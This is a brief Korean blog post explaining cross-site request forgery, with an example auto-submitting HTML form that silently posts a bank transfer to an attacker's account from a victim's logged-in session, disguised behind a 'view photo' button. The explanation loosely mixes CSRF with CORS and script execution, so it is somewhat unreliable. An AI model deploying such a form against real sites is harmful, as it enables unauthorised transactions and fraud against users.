browser security model — CSRF / XSRF
1 min readSep 29, 2019
CSRF / XSRF
Cross-Site Request Forgery
기본적인 원리는
사용자가 이전에 받은 validation token (cookie or session..etc)를 통해
해당 validation token을 발급한 사이트로 http request를 강제하는데,
이때 CORS standard를 vitim의 token을 이용, certified 방식으로 통과하여
victim의 권한으로 malcious script를 실행하는 것이다.
이 때, 실행은 임베디드 JavaScript가 자동으로 실행되는
<form> 태그로 제공 될 수 있다.
<body onload = "document.forms [0] .submit ()">
<form action = "http://netbank.com/transfer.do"method = "POST">
<input type = "hidden"name = "acct"value = "AttackerA"/>
<input type = "hidden"name = "amount"value = "$ 100"/>
<input type = "submit"value = "사진을 봅니다!"/>
</ form>
</ body>출처
